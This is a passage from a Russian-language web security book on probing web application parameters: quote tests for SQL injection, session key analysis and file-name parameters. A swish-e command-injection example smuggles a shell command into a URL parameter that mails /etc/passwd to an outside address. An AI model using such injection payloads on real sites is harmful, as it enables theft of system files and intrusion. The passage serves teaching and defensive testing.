Систематичная проверка каждого параметра на возможность его заключения сначала в одинарные (), а затем двойные кавычки (").Если при заключении параметра в одинарные или двойные кавычки приложение сообщает об ошибке, то это может означать передачу в запрос SQL параметров без всяких изменений. При экспериментах с кавычками (одинарными или двойными) проверяется возможность обработки строк в запросах SQL. Если приложение сообщает об ошибке, следует определить, является ли это реакцией приложения на неверные данные (в кавычках) или на ошибку выполнения запроса SQL (что вполне может быть в случае лишних кавычек).
Определение необходимости и/или полезности каждого параметра.Длинные последовательности строк и чисел, похожие на случайные последовательности, могут быть ключами сессий. Следует несколько раз выполнить ввод одних и тех же данных. Увиденные изменения могут многое сказать о сессии. Насколько сильны изменения? Обратите внимание, изменяется ли длина строки линейно. Некоторые приложения используют идентификатор процесса (PID) в качестве «случайного числа». Возрастающее число, меньшее 65 536, может быть основано на идентификаторе процесса.
Анализ общего состояния Web-сайта и приложения и его использование для предположений об алгоритме работы приложения.Малобюджетные компании, применяющие в своей работе информационный сервер Интернет IIS для Windows NT, вероятнее всего, используют на серверах баз данных Microsoft Access, а крупные корпорации, поддерживающие одновременную работу большого числа пользователей, используют что-то более солидное типа Oracle. Если на сайте используются сценарии интерфейса CGI, загруженные с многочисленных Интернет-ресурсов, то можно предположить, что приложения сайта не писались наспех и полностью адаптированы к потребностям своего сайта. Следует попытаться обнаружить, используется ли на сайте уже известное приложение. И если используется, то попытаться найти его исходный код.
Поиск имени файла.Следует не упустить из виду чего-нибудь, напоминающее имя файла. Имена файлов близки к формату «8.3» (который порожден операционной системой CP/M и был перенят в Microsoft DOS). Признаками имени файла являются строки «.tmp» и строки, состоящие только из букв, чисел, точек и, возможно, символов косой черты (прямой или обратной, в зависимости от используемой платформы). Рассмотрим указатель информационного ресурса URL для машины индексированного поиска в сети Интернет swish-e компании Simple Web Indexing System for Humans, Enhanced:
search.cgi/?swishindex=%2Fusr%2Fbin%2Fswish%2Fdb.swish& keywords=key&maxresults=40
Надеюсь, читатель сможет найти в URL замаскированный параметр swishindex=/usr/bin/swish/swish.db. Интуитивно понятно, что программа swish-e работает с этим файлом. Следует попытаться подставить в параметр известные имена файлов и посмотреть, сможет ли swish-e работать с ними. Скорее всего, ничего не получится. Наверняка для идентификации правильного файла используется внутренний заголовок файла. Это означает, что программа swish-e не прочитает ничего, кроме нужного ей файла. Тем не менее беглый просмотр исходного текста программы (программа swish-e свободно распространяется) многое прояснит. Для выполнения запроса swish-e получает значения переданных параметров (swishindex, keywords и maxresults) и запускает программу swish с параметрами:
swish -f $swishindex -w $keywords -m $maxresults
Но это недозволенный прием, потому что программа swish-e передает параметры пользователя напрямую командному интерпретатору в качестве параметров для другого приложения. Это означает, что если любой из параметров содержит метасимволы командного процессора в операционной системе UNIX (которые программа swish-e никак не контролирует), то могут быть выполнены системные команды. Пусть задан следующий URL:
search.cgi/?swishindex=swish.db&maxresults=40 &keywords=“cat/etc/passwd|mail rfp@wiretrip.net“
В результате будет получено электронное письмо с копией файла паролей.
Исследование технологических ограничений серверов баз данных, Web-серверов, языков создания сценариев и приложений.Например, технология активных серверных страниц ASP (ASP-Active Server Pages) на информационном сервере Интернет IIS не предусматривает выполнения команд командного процессора или программ с интерфейсом командной строки. Поэтому в данной ситуации нет необходимости подставлять метасимволы UNIX в параметры запроса.
Поиск выражений равенства, формул или фрагментов программного кода.Если удастся найти что-нибудь, похожее на выражения равенства, формулы или фрагмент программного кода, то обычно это указывает на возможность передачи значений параметров функции типа «eval», которая позволяет выполнить код пользователя.
Читать дальше
Конец ознакомительного отрывка
Купить книгу